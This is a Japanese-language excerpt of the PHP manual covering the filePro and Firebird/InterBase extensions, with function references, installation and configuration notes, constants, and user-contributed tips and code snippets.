注意:

Boolean fields result in an int element value (0 or 1) when retrieved via dbase_get_record() or dbase_get_record_with_names(). If they are written back, this results in the value becoming 0, so care has to be taken to properly adjust the values.

参考

  • dbase_add_record() - Adds a record to a database
  • dbase_delete_record() - Deletes a record from a database

User Contributed Notes

Anonymous 20-May-2015 01:53
Make sure you opened the database for WRITE!
dbase_open( "yourfile.dbf", 2)


filePro

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • filePro 関数
    • filepro_fieldcount — filePro データベース中のフィールド数を返す
    • filepro_fieldname — フィールド名を取得する
    • filepro_fieldtype — フィールド型を取得する
    • filepro_fieldwidth — フィールド幅を取得する
    • filepro_retrieve — filePro データベースからデータを取得する
    • filepro_rowcount — filePro データベースの行の数を返します
    • filepro — map ファイルの読み込みと照合を行う

User Contributed Notes

There are no user contributed notes for this page.


はじめに

これらの関数により、filePro データベースに保存されたデータに 読み込みのみのアクセスが可能になります。

filePro は、fP Technologies 社の登録商標です。filePro に関する詳細な情報は » http://www.fptech.com/ で得る事が出来ます。

注意:

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 5.2.0.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 5.2.0

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/filepro

User Contributed Notes

There are no user contributed notes for this page.


filePro 関数

目次

  • filepro_fieldcount — filePro データベース中のフィールド数を返す
  • filepro_fieldname — フィールド名を取得する
  • filepro_fieldtype — フィールド型を取得する
  • filepro_fieldwidth — フィールド幅を取得する
  • filepro_retrieve — filePro データベースからデータを取得する
  • filepro_rowcount — filePro データベースの行の数を返します
  • filepro — map ファイルの読み込みと照合を行う

User Contributed Notes

There are no user contributed notes for this page.


filePro データベース中のフィールド数を返す

  • ≪ filePro 関数
  • filepro_fieldname ≫
  • PHP Manual
  • filePro 関数
  • filePro データベース中のフィールド数を返す

filepro_fieldcount

(PHP 4, PHP 5 < 5.2.0, PECL filepro SVN)

filepro_fieldcount — filePro データベース中のフィールド数を返す

説明

filepro_fieldcount ( ) : int

オープンした filePro データベースのフィールド（カラム）の数を返します。

返り値

オープンした filePro データベースのフィールド数、 あるいはエラーの場合に false を返します。

参考

  • filepro() - map ファイルの読み込みと照合を行う

User Contributed Notes

There are no user contributed notes for this page.


フィールド名を取得する

  • ≪ filepro_fieldcount
  • filepro_fieldtype ≫
  • PHP Manual
  • filePro 関数
  • フィールド名を取得する

filepro_fieldname

(PHP 4, PHP 5 < 5.2.0, PECL filepro SVN)

filepro_fieldname — フィールド名を取得する

説明

filepro_fieldname ( int $field_number ) : string

field_number に対応するフィールド名を返します。

パラメータ

field_number

フィールド番号。

返り値

フィールド名を表す文字列、あるいはエラーの場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


フィールド型を取得する

  • ≪ filepro_fieldname
  • filepro_fieldwidth ≫
  • PHP Manual
  • filePro 関数
  • フィールド型を取得する

filepro_fieldtype

(PHP 4, PHP 5 < 5.2.0, PECL filepro SVN)

filepro_fieldtype — フィールド型を取得する

説明

filepro_fieldtype ( int $field_number ) : string

field_number に対応した編集フィールド型を返します。

パラメータ

field_number

フィールド番号。

返り値

編集フィールド型を表す文字列、あるいはエラーの場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


フィールド幅を取得する

  • ≪ filepro_fieldtype
  • filepro_retrieve ≫
  • PHP Manual
  • filePro 関数
  • フィールド幅を取得する

filepro_fieldwidth

(PHP 4, PHP 5 < 5.2.0, PECL filepro SVN)

filepro_fieldwidth — フィールド幅を取得する

説明

filepro_fieldwidth ( int $field_number ) : int

field_number に対応するフィールドの幅を返します。

パラメータ

field_number

フィールド番号。

返り値

フィールドの幅を表す整数値、あるいはエラーの場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


filePro データベースからデータを取得する

  • ≪ filepro_fieldwidth
  • filepro_rowcount ≫
  • PHP Manual
  • filePro 関数
  • filePro データベースからデータを取得する

filepro_retrieve

(PHP 4, PHP 5 < 5.2.0, PECL filepro SVN)

filepro_retrieve — filePro データベースからデータを取得する

説明

filepro_retrieve ( int $row_number , int $field_number ) : string

データベースの指定された位置から読み込んだデータを返します。

パラメータ

row_number

行番号。ゼロから 全行数マイナス 1 までの間である必要があります (0..filepro_rowcount() - 1)。

field_number

フィールド番号。ゼロから 全フィールド数マイナス 1 までの間である必要があります (0..filepro_fieldcount() - 1)。

返り値

指定したデータ、あるいはエラーの場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


filePro データベースの行の数を返します

  • ≪ filepro_retrieve
  • filepro ≫
  • PHP Manual
  • filePro 関数
  • filePro データベースの行の数を返します

filepro_rowcount

(PHP 4, PHP 5 < 5.2.0, PECL filepro SVN)

filepro_rowcount — filePro データベースの行の数を返します

説明

filepro_rowcount ( ) : int

オープンされた filePro データベースにおける行の数を返します。

返り値

オープンされた filePro データベースにおける行の数を返します。 エラーの場合は false を返します。

参考

  • filepro() - map ファイルの読み込みと照合を行う

User Contributed Notes

There are no user contributed notes for this page.


map ファイルの読み込みと照合を行う

  • ≪ filepro_rowcount
  • Firebird/InterBase ≫
  • PHP Manual
  • filePro 関数
  • map ファイルの読み込みと照合を行う

filepro

(PHP 4, PHP 5 < 5.2.0, PECL filepro SVN)

filepro — map ファイルの読み込みと照合を行う

説明

filepro ( string $directory ) : bool

この関数は、map ファイルを読み込み、照合を行います。 続いて、フィールドの数および情報を保存します。

データベースのロックを行わないため、PHP でオープンしている間は、 filePro データベースの修正を避ける必要があります。

パラメータ

directory

map ディレクトリ。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

Brian Clark 14-Apr-2007 07:47
filepro() is apparently expecting the map file to be lowercase (at least on UNIX-like systems).
RobNar 12-Jun-2003 08:38
Two notes here:

1) PHP does not need a running copy of filepro to read the datafiles.  Just provide it with a directory containing the map file, key file, and the data* file(s) for the table you want to read. Screen files, outfiles, and process files are not used.

2) This function seems to pass back the system error code in brackets [] along with the PHP warning.  A list of error codes can be found in your filepro manual's appendix.


Firebird/InterBase

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Firebird/InterBase 関数
    • fbird_add_user — のエイリアス ibase_add_user
    • fbird_affected_rows — のエイリアス ibase_affected_rows
    • fbird_backup — のエイリアス ibase_backup
    • fbird_blob_add — のエイリアス ibase_blob_add
    • fbird_blob_cancel — Cancel creating blob
    • fbird_blob_close — のエイリアス ibase_blob_close
    • fbird_blob_create — のエイリアス ibase_blob_create
    • fbird_blob_echo — のエイリアス ibase_blob_echo
    • fbird_blob_get — のエイリアス ibase_blob_get
    • fbird_blob_import — のエイリアス ibase_blob_import
    • fbird_blob_info — のエイリアス ibase_blob_info
    • fbird_blob_open — のエイリアス ibase_blob_open
    • fbird_close — のエイリアス ibase_close
    • fbird_commit_ret — のエイリアス ibase_commit_ret
    • fbird_commit — のエイリアス ibase_commit
    • fbird_connect — のエイリアス ibase_connect
    • fbird_db_info — のエイリアス ibase_db_info
    • fbird_delete_user — のエイリアス ibase_delete_user
    • fbird_drop_db — のエイリアス ibase_drop_db
    • fbird_errcode — のエイリアス ibase_errcode
    • fbird_errmsg — のエイリアス ibase_errmsg
    • fbird_execute — のエイリアス ibase_execute
    • fbird_fetch_assoc — のエイリアス ibase_fetch_assoc
    • fbird_fetch_object — のエイリアス ibase_fetch_object
    • fbird_fetch_row — のエイリアス ibase_fetch_row
    • fbird_field_info — のエイリアス ibase_field_info
    • fbird_free_event_handler — のエイリアス ibase_free_event_handler
    • fbird_free_query — のエイリアス ibase_free_query
    • fbird_free_result — のエイリアス ibase_free_result
    • fbird_gen_id — のエイリアス ibase_gen_id
    • fbird_maintain_db — のエイリアス ibase_maintain_db
    • fbird_modify_user — のエイリアス ibase_modify_user
    • fbird_name_result — のエイリアス ibase_name_result
    • fbird_num_fields — のエイリアス ibase_num_fields
    • fbird_num_params — のエイリアス ibase_num_params
    • fbird_param_info — のエイリアス ibase_param_info
    • fbird_pconnect — のエイリアス ibase_pconnect
    • fbird_prepare — のエイリアス ibase_prepare
    • fbird_query — のエイリアス ibase_query
    • fbird_restore — のエイリアス ibase_restore
    • fbird_rollback_ret — のエイリアス ibase_rollback_ret
    • fbird_rollback — のエイリアス ibase_rollback
    • fbird_server_info — のエイリアス ibase_server_info
    • fbird_service_attach — のエイリアス ibase_service_attach
    • fbird_service_detach — のエイリアス ibase_service_detach
    • fbird_set_event_handler — のエイリアス ibase_set_event_handler
    • fbird_trans — のエイリアス ibase_trans
    • fbird_wait_event — のエイリアス ibase_wait_event
    • ibase_add_user — Add a user to a security database
    • ibase_affected_rows — 直近のクエリで変更された行の数を返す
    • ibase_backup — Initiates a backup task in the service manager and returns immediately
    • ibase_blob_add — 生成された blob にデータを追加する
    • ibase_blob_cancel — blob の生成を取り消す
    • ibase_blob_close — blob を閉じる
    • ibase_blob_create — データを追加するために blob を生成する
    • ibase_blob_echo — ブラウザに blob の内容を出力する
    • ibase_blob_get — オープンした blob から len バイト分のデータを取得する
    • ibase_blob_import — blob を生成し、ファイルをコピーし、閉じる
    • ibase_blob_info — blob の長さと他の便利な情報を返す
    • ibase_blob_open — データの一部を取得するために blob をオープンする
    • ibase_close — InterBase データベースへの接続を閉じる
    • ibase_commit_ret — トランザクションを閉じずにコミットする
    • ibase_commit — トランザクションをコミットする
    • ibase_connect — データベースへの接続をオープンする
    • ibase_db_info — データベースについての統計情報を要求する
    • ibase_delete_user — Delete a user from a security database
    • ibase_drop_db — データベースを削除する
    • ibase_errcode — エラーコードを返す
    • ibase_errmsg — エラーメッセージを返す
    • ibase_execute — 準備されたクエリを実行する
    • ibase_fetch_assoc — クエリの結果から、行を連想配列として取得する
    • ibase_fetch_object — InterBase データベースからオブジェクトを得る
    • ibase_fetch_row — InterBase データベースから 1 行分の結果を取得する
    • ibase_field_info — フィールドに関する情報を得る
    • ibase_free_event_handler — 登録済みのイベントハンドラをキャンセルする
    • ibase_free_query — プリペアドクエリにより確保されたメモリを解放する
    • ibase_free_result — 結果セットを解放する
    • ibase_gen_id — 指定した名前のジェネレータをひとつ加算し、その新しい値を返す
    • ibase_maintain_db — データベースサーバーでメンテナンスコマンドを実行する
    • ibase_modify_user — Modify a user to a security database
    • ibase_name_result — 結果セットに名前を割り当てる
    • ibase_num_fields — 結果セットにおけるフィールド数を得る
    • ibase_num_params — プリペアドクエリのパラメータ数を返す
    • ibase_param_info — プリペアドクエリのパラメータに関する情報を返す
    • ibase_pconnect — InterBase データベースへの持続的接続をオープンする
    • ibase_prepare — Prepare a query for later binding of parameter placeholders and execution
    • ibase_query — InterBase データベースでクエリを実行する
    • ibase_restore — Initiates a restore task in the service manager and returns immediately
    • ibase_rollback_ret — トランザクションを閉じずにロールバックする
    • ibase_rollback — トランザクションをロールバックする
    • ibase_server_info — データベースサーバーについての情報を要求する
    • ibase_service_attach — サービスマネージャに接続する
    • ibase_service_detach — サービスマネージャとの接続を切断する
    • ibase_set_event_handler — イベントが発生した際にコールされるコールバック関数を登録する
    • ibase_trans — トランザクションを開始する
    • ibase_wait_event — データベースでイベントが発生するのを待つ

User Contributed Notes

There are no user contributed notes for this page.


はじめに

Firebird は ISO SQL-2003 の多くの機能をサポートする リレーショナルデータベースで、Linux・Windows その他多くの Unix プラットフォーム上で動作します。Firebird は 優れた同時実行性・パフォーマンス、そしてストアドプロシージャや トリガでの強力な言語サポートを提供します。1981 年以降、このデータベースは さまざまな名前の製品として使用されています。

InterBase はこの RDBMS のクローズドソース版の名前で、Embarcadero/Inprise によって開発されました。InterBase についての詳細な情報は » http://www.embarcadero.com/products/interbase にあります。

Firebird は C++プログラマーやテクニカルアドバイザやサポーターたちによる 商業的に独立したプロジェクトです。Inprise Corp（現在は Embarcadero という名で知られています）が 2000 年 7 月 25 日に InterBase Public License v.1.0 の下で公開したソースコードをもとにして、 マルチプラットフォームなリレーショナルデータベースの開発と機能拡張を 行っています。Firebird についての詳細な情報は » http://www.firebirdsql.org/ にあります。

注意:

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 7.4.0

この拡張モジュールは、InterBase のバージョン 6 以降と Firebird のバージョン 2.0 以降をサポートします。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 7.4.0

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/ibase.

PHP で Firebird/InterBase サポートを有効にするには、 --with-interbase[=DIR] を指定して 設定を行います。ただし、DIR は Firebird/InterBase のベースインストールディレクトリで、 デフォルトは /usr です。

注意: Win32/Win64 ユーザーへの注意

この拡張モジュールを動作させるには、 Windows システムの PATH が通った場所に DLL ファイルが存在する必要があります。 FAQ の "Windows で PHP のディレクトリを PATH に追加するにはどうすればいいのですか?" で、その方法を説明しています。 DLL ファイルを PHP のフォルダから Windows のシステムディレクトリにコピーしても動作します (システムディレクトリは、デフォルトで PATH に含まれるからです) が、これは推奨しません。 この拡張モジュールを使用するには、以下のファイルが PATH の通った場所にある必要があります。 fbclient.dll,gds32.dll

Firebird/InterBase データベースサーバーを PHP と同じマシンにインストールしている場合は、 すでに DLL が存在するはずです。その場合は特に何も考える必要はありません。 というのも fbclient.dll,gds32.dll (gds32.dll は、レガシーアプリケーション用にインストーラーが生成するもの) はすでに PATH の通った場所に存在するからです。

User Contributed Notes

hiddenmailbox at yandex dot ru 15-Dec-2011 04:06
I tried to add extension php_interbase.dll on my php (WinXp PHP as Apche2.2 module).
I had a problem while starting web server:
"unable to load dynamic lybrary php_interbase.dll"
Solution was to add file fbclient.dll into php folder. (Not gds32.dll)
teson 26-Oct-2009 05:50
Add interbase.so to MAMP / OSX

get xcode and macports.
install m4 through macports
download php-source corresponding to mamp-version

create symblinks needed
from http://www.ibexpert.net/forum/viewtopic.phpf=13&t=7&start=0&st=0&sk=t&sd=a

# in short:
# (backslash = keep on same row)
cd /usr
sudo  mkdir -p local/firebird/lib

sudo ln -s /Library/Frameworks/Firebird.framework/Firebird \
local/firebird/lib/libfbclient.dylib

sudo ln -s /Library/Frameworks/Firebird.framework/Headers/ \
local/firebird/include

#create .so
sudo su

cd /path-to-php-source/ext/interbase

/Applications/MAMP/bin/php5/bin/phpize

./configure --with-interbase=/usr/local/firebird

make

#install so to mamp-ext.dir
cp modules/interbase.so \
/Applications/MAMP/bin/php5/lib/ \
php/extensions/no-debug-non-zts-20050922

#add to /Applications/MAMP/conf/php5/php.ini
[firebird]
extension = interbase.so
ibase.allow_persistent = "1"
ibase.max_persistent = "-1"
ibase.max_links = "-1"
ibase.default_db = null
ibase.default_user = NULL
ibase.default_password = NULL
ibase.default_charset = NULL
ibase.timestampformat = "%Y-%m-%d %H:%M:%S"
ibase.dateformat = "%Y-%m-%d"
ibase.timeformat = "%H:%M:%S"

#restart mamp - interbase should show in phpinfo
#enjoy!
rockeur941 at hotmail dot com 15-Feb-2009 02:05
On version 2.0 or higher of Firebird, the library is now fbclient.dll. But, fbclient.dll can be rename on gds32.dll, on Windows System for compatibility. The library gds32.dll is for older version of firebird.

Pour les version recentes (2 et plus) de Firebird, la librairie est maintenant fbclient.dll. La librairie gds32.dll etait pour les anciennes versions. Il est possible de renommer fbclient.dll en gds32.dll pour les differentes compatibilites pour les application deja existantes.


実行時設定

php.ini の設定により動作が変化します。

InterBase設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
ibase.allow_persistent | "1" | PHP_INI_SYSTEM |
ibase.max_persistent | "-1" | PHP_INI_SYSTEM |
ibase.max_links | "-1" | PHP_INI_SYSTEM |
ibase.default_db | NULL | PHP_INI_SYSTEM |
ibase.default_user | NULL | PHP_INI_ALL |
ibase.default_password | NULL | PHP_INI_ALL |
ibase.default_charset | NULL | PHP_INI_ALL |
ibase.timestampformat | "%Y-%m-%d %H:%M:%S" | PHP_INI_ALL |
ibase.dateformat | "%Y-%m-%d" | PHP_INI_ALL |
ibase.timeformat | "%H:%M:%S" | PHP_INI_ALL |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

ibase.allow_persistent bool

Firebird/InterBase 持続的な接続 を許可するかどうか。

ibase.max_persistent int

プロセスごとの、Firebird/InterBase の持続的接続の最大数。 この数を超えた場合、ibase_pconnect() による新しい接続は 持続的ではない接続になります。

ibase.max_links int

プロセスごとの Firebird/InterBase の接続の最大数。持続的な接続の数も 含みます。

ibase.default_db string

データベース名を指定せずに ibase_[p]connect() がコールされた場合に 接続するデフォルトのデータベース。この値が設定されており、かつ SQL セーフモードが有効な場合、このデータベース以外への接続は一切許可されません。

ibase.default_user string

ユーザー名を指定せずにデータベースに接続した際に使用されるユーザー名。

ibase.default_password string

パスワードを指定せずにデータベースに接続した際に使用されるパスワード。

ibase.default_charset string

文字セットを指定せずにデータベースに接続した際に使用される文字セット。

ibase.timestampformat string

ibase.dateformat string

ibase.timeformat string

これらのディレクティブは日付や時間のフォーマットを指定します。 結果セットの中の日付や時間のデータ、そしてパラメータとしてバインドする 日付や時間のデータに適用されます。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

トランザクションの挙動を設定するため、以下の定数を ibase_trans() に渡すことが可能です。

Firebird/InterBase トランザクションフラグ
定数 | 説明
IBASE_DEFAULT | デフォルトのトランザクション設定が使用されます。デフォルト設定は クライアントライブラリによって決定され、たいていの場合は IBASE_WRITE|IBASE_CONCURRENCY|IBASE_WAIT です。
IBASE_READ | 読み込み専用のトランザクションを開始します。
IBASE_WRITE | 読み書き可能なトランザクションを開始します。
IBASE_CONSISTENCY | 分離レベルを 'consistency' にしてトランザクションを開始します。 他のトランザクションによって変更中のテーブルを読み込むことは できません。
IBASE_CONCURRENCY | 分離レベルを 'concurrency' (あるいは 'snapshot') にして トランザクションを開始します。すべてのテーブルへのアクセスが 可能ですが、トランザクションの開始以降に別のトランザクションに よってコミットされた内容を見ることはできません。
IBASE_COMMITTED | 分離レベルを 'read committed' にしてトランザクションを開始します。 このフラグは IBASE_REC_VERSION あるいは IBASE_REC_NO_VERSION とともに使用する必要があります。 トランザクションの開始以降にコミットされた内容についてもアクセス可能と なります。IBASE_REC_NO_VERSION が指定された場合、 最新バージョンのデータのみが読み込み可能となります。 IBASE_REC_VERSION が指定された場合、他の トランザクションで処理が完了していない変更についても読み込むことが できます。
IBASE_WAIT | 衝突が発生した場合に、トランザクションが処理を再試行することを示します。
IBASE_NOWAIT | 衝突が発生した場合に、トランザクションがその場で処理を中断して 処理が失敗することを示します。

データの取得方法を指定するために、以下の定数を ibase_fetch_row()、 ibase_fetch_assoc() あるいは ibase_fetch_object() に渡すことが可能です。

Firebird/InterBase フェッチフラグ
定数 | 説明
IBASE_FETCH_BLOBS | 過去との互換性を保持するため、IBASE_TEXT としても使用可能です。BLOB データを読み込む際に、BLOB ID ではなく 直接データそのものを読み込みます。
IBASE_FETCH_ARRAYS | 配列をインラインで読み込みます。指定しなかった場合は、配列の ID を返します。配列 ID は INSERT 操作への引数としてのみ使用可能で、 配列 ID を処理できる関数は現在存在しません。
IBASE_UNIXTIME | 日付や時刻のフィールド値を、文字列ではなく UNIX タイムスタンプ (1-Jan-1970 0:00 UTC からの経過秒数)で返します。 1970 年より前の日付に対してこれを使用すると、環境によっては 問題を引き起こす可能性があります。

要求内容やオプションを指定するために、以下の定数を サービス API 関数(ibase_server_info(), ibase_db_info(), ibase_backup(), ibase_restore() および ibase_maintain_db())に渡すことが可能です。 これらのオプションの意味については Firebird/InterBase のマニュアルを 参照ください。

IBASE_BKP_IGNORE_CHECKSUMS
ibase_backup() のオプション
IBASE_BKP_IGNORE_LIMBO
ibase_backup() のオプション
IBASE_BKP_METADATA_ONLY
ibase_backup() のオプション
IBASE_BKP_NO_GARBAGE_COLLECT
ibase_backup() のオプション
IBASE_BKP_OLD_DESCRIPTIONS
ibase_backup() のオプション
IBASE_BKP_NON_TRANSPORTABLE
ibase_backup() のオプション
IBASE_BKP_CONVERT
ibase_backup() のオプション
IBASE_RES_DEACTIVATE_IDX
ibase_restore() のオプション
IBASE_RES_NO_SHADOW
ibase_restore() のオプション
IBASE_RES_NO_VALIDITY
ibase_restore() のオプション
IBASE_RES_ONE_AT_A_TIME
ibase_restore() のオプション
IBASE_RES_REPLACE
IBASE_RES_CREATE
Options to ibase_restore()
IBASE_RES_USE_ALL_SPACE
ibase_restore() のオプション
IBASE_PRP_PAGE_BUFFERS
IBASE_PRP_SWEEP_INTERVAL
IBASE_PRP_SHUTDOWN_DB
IBASE_PRP_DENY_NEW_TRANSACTIONS
IBASE_PRP_DENY_NEW_ATTACHMENTS
IBASE_PRP_RESERVE_SPACE
IBASE_PRP_RES_USE_FULL
IBASE_PRP_RES
IBASE_PRP_WRITE_MODE
IBASE_PRP_WM_ASYNC
IBASE_PRP_WM_SYNC
IBASE_PRP_ACCESS_MODE
IBASE_PRP_AM_READONLY
IBASE_PRP_AM_READWRITE
IBASE_PRP_SET_SQL_DIALECT
IBASE_PRP_ACTIVATE
IBASE_PRP_DB_ONLINE
IBASE_RPR_CHECK_DB
IBASE_RPR_IGNORE_CHECKSUM
IBASE_RPR_KILL_SHADOWS
IBASE_RPR_MEND_DB
IBASE_RPR_VALIDATE_DB
IBASE_RPR_FULL
IBASE_RPR_SWEEP_DB
ibase_maintain_db() のオプション
IBASE_STS_DATA_PAGES
IBASE_STS_DB_LOG
IBASE_STS_HDR_PAGES
IBASE_STS_IDX_PAGES
IBASE_STS_SYS_RELATIONS
ibase_db_info() のオプション
IBASE_SVC_SERVER_VERSION
Options to ibase_server_info()
IBASE_SVC_IMPLEMENTATION
Options to ibase_server_info()
IBASE_SVC_GET_ENV
Options to ibase_server_info()
IBASE_SVC_GET_ENV_LOCK
IBASE_SVC_GET_ENV_MSG
IBASE_SVC_USER_DBPATH
IBASE_SVC_SVR_DB_INFO
IBASE_SVC_GET_USERS
ibase_server_info() のオプション

User Contributed Notes

There are no user contributed notes for this page.


Firebird/InterBase 関数

目次

  • fbird_add_user — のエイリアス ibase_add_user
  • fbird_affected_rows — のエイリアス ibase_affected_rows
  • fbird_backup — のエイリアス ibase_backup
  • fbird_blob_add — のエイリアス ibase_blob_add
  • fbird_blob_cancel — Cancel creating blob
  • fbird_blob_close — のエイリアス ibase_blob_close
  • fbird_blob_create — のエイリアス ibase_blob_create
  • fbird_blob_echo — のエイリアス ibase_blob_echo
  • fbird_blob_get — のエイリアス ibase_blob_get
  • fbird_blob_import — のエイリアス ibase_blob_import
  • fbird_blob_info — のエイリアス ibase_blob_info
  • fbird_blob_open — のエイリアス ibase_blob_open
  • fbird_close — のエイリアス ibase_close
  • fbird_commit_ret — のエイリアス ibase_commit_ret
  • fbird_commit — のエイリアス ibase_commit
  • fbird_connect — のエイリアス ibase_connect
  • fbird_db_info — のエイリアス ibase_db_info
  • fbird_delete_user — のエイリアス ibase_delete_user
  • fbird_drop_db — のエイリアス ibase_drop_db
  • fbird_errcode — のエイリアス ibase_errcode
  • fbird_errmsg — のエイリアス ibase_errmsg
  • fbird_execute — のエイリアス ibase_execute
  • fbird_fetch_assoc — のエイリアス ibase_fetch_assoc
  • fbird_fetch_object — のエイリアス ibase_fetch_object
  • fbird_fetch_row — のエイリアス ibase_fetch_row
  • fbird_field_info — のエイリアス ibase_field_info
  • fbird_free_event_handler — のエイリアス ibase_free_event_handler
  • fbird_free_query — のエイリアス ibase_free_query
  • fbird_free_result — のエイリアス ibase_free_result
  • fbird_gen_id — のエイリアス ibase_gen_id
  • fbird_maintain_db — のエイリアス ibase_maintain_db
  • fbird_modify_user — のエイリアス ibase_modify_user
  • fbird_name_result — のエイリアス ibase_name_result
  • fbird_num_fields — のエイリアス ibase_num_fields
  • fbird_num_params — のエイリアス ibase_num_params
  • fbird_param_info — のエイリアス ibase_param_info
  • fbird_pconnect — のエイリアス ibase_pconnect
  • fbird_prepare — のエイリアス ibase_prepare
  • fbird_query — のエイリアス ibase_query
  • fbird_restore — のエイリアス ibase_restore
  • fbird_rollback_ret — のエイリアス ibase_rollback_ret
  • fbird_rollback — のエイリアス ibase_rollback
  • fbird_server_info — のエイリアス ibase_server_info
  • fbird_service_attach — のエイリアス ibase_service_attach
  • fbird_service_detach — のエイリアス ibase_service_detach
  • fbird_set_event_handler — のエイリアス ibase_set_event_handler
  • fbird_trans — のエイリアス ibase_trans
  • fbird_wait_event — のエイリアス ibase_wait_event
  • ibase_add_user — Add a user to a security database
  • ibase_affected_rows — 直近のクエリで変更された行の数を返す
  • ibase_backup — Initiates a backup task in the service manager and returns immediately
  • ibase_blob_add — 生成された blob にデータを追加する
  • ibase_blob_cancel — blob の生成を取り消す
  • ibase_blob_close — blob を閉じる
  • ibase_blob_create — データを追加するために blob を生成する
  • ibase_blob_echo — ブラウザに blob の内容を出力する
  • ibase_blob_get — オープンした blob から len バイト分のデータを取得する
  • ibase_blob_import — blob を生成し、ファイルをコピーし、閉じる
  • ibase_blob_info — blob の長さと他の便利な情報を返す
  • ibase_blob_open — データの一部を取得するために blob をオープンする
  • ibase_close — InterBase データベースへの接続を閉じる
  • ibase_commit_ret — トランザクションを閉じずにコミットする
  • ibase_commit — トランザクションをコミットする
  • ibase_connect — データベースへの接続をオープンする
  • ibase_db_info — データベースについての統計情報を要求する
  • ibase_delete_user — Delete a user from a security database
  • ibase_drop_db — データベースを削除する
  • ibase_errcode — エラーコードを返す
  • ibase_errmsg — エラーメッセージを返す
  • ibase_execute — 準備されたクエリを実行する
  • ibase_fetch_assoc — クエリの結果から、行を連想配列として取得する
  • ibase_fetch_object — InterBase データベースからオブジェクトを得る
  • ibase_fetch_row — InterBase データベースから 1 行分の結果を取得する
  • ibase_field_info — フィールドに関する情報を得る
  • ibase_free_event_handler — 登録済みのイベントハンドラをキャンセルする
  • ibase_free_query — プリペアドクエリにより確保されたメモリを解放する
  • ibase_free_result — 結果セットを解放する
  • ibase_gen_id — 指定した名前のジェネレータをひとつ加算し、その新しい値を返す
  • ibase_maintain_db — データベースサーバーでメンテナンスコマンドを実行する
  • ibase_modify_user — Modify a user to a security database
  • ibase_name_result — 結果セットに名前を割り当てる
  • ibase_num_fields — 結果セットにおけるフィールド数を得る
  • ibase_num_params — プリペアドクエリのパラメータ数を返す
  • ibase_param_info — プリペアドクエリのパラメータに関する情報を返す
  • ibase_pconnect — InterBase データベースへの持続的接続をオープンする
  • ibase_prepare — Prepare a query for later binding of parameter placeholders and execution
  • ibase_query — InterBase データベースでクエリを実行する
  • ibase_restore — Initiates a restore task in the service manager and returns immediately
  • ibase_rollback_ret — トランザクションを閉じずにロールバックする
  • ibase_rollback — トランザクションをロールバックする
  • ibase_server_info — データベースサーバーについての情報を要求する
  • ibase_service_attach — サービスマネージャに接続する
  • ibase_service_detach — サービスマネージャとの接続を切断する
  • ibase_set_event_handler — イベントが発生した際にコールされるコールバック関数を登録する
  • ibase_trans — トランザクションを開始する
  • ibase_wait_event — データベースでイベントが発生するのを待つ

User Contributed Notes

sysop at smartnettechnologies dot com 25-Sep-2007 12:01
This example have 2 problems my be the autor writes it to fast but in the first case use one var for define user pass and and the use other one for call them and in secon step use comas after the ;

$db = '/path/to/database.gdb';
$user = 'username';
$password = 'password';
$res = ibase_connect($db,$dbuser,$dbpass) or die("<br>" . ibase_errmsg());

// Query
$sql="SELECT * FROM table;"
fortega at uamericas dot net 01-Jul-2007 02:11
Here is a minimalistic code example. Be sure to create an user and a database in order to make it work.

<?php
// Minimalistic code example

// Connection
$db = '/path/to/database.gdb';
$user = 'username';
$password = 'password';
$res = ibase_connect($db,$dbuser,$dbpass) or die("<br>" . ibase_errmsg());

// Query
$sql="SELECT * FROM table;"
$result=ibase_query($res,$sql) or die(ibase_errmsg());
while($row=ibase_fetch_object($result)){
    // use $row->FIELDNAME not $row->fieldname
    print $row->FIELDNAME;
}
ibase_free_result($result);

// Closing
ibase_close($res) or die("<br>" . ibase_errmsg());
?>

The following code can be used when creating tables in order to get auto incrementing fields:

<?php

// This function generates an autoincrement field, such as MySQL AUTO_INCREMENT.
function generate_autoincrement($tablename,$primarykey){
    // * Generator
    dbexec('CREATE GENERATOR GEN_' . $tablename . '_PK;');
    // * Trigger
    dbexec('CREATE TRIGGER INC_' . $primarykey . ' FOR ' . $tablename
        . chr(13) . 'ACTIVE BEFORE INSERT POSITION 0'
        . chr(13) . 'AS'
        . chr(13) . 'BEGIN'
        . chr(13) . 'IF (NEW.' . $primarykey . ' IS NULL) THEN'
        . chr(13) . 'NEW.' . $primarykey . '= GEN_ID(GEN_' . $tablename . '_PK, 1);'
        . chr(13) . 'END');
}
?>

Usage: <?php generate_autoincrement('table','column name'); ?>
felixlee at singnet dot com dot sg 02-Jul-2003 11:33
Here's an example for getting results back from stored procedure in firebird.
The example make use of the stored procedure in Employee.gdb and the show_langs procedure.

$host = 'localhost:X:/firebird/examples/Employee.gdb';
$username='SYSDBA';
$password='masterkey';

$dbh = ibase_connect ( $host, $username, $password ) or die ("error in db connect");
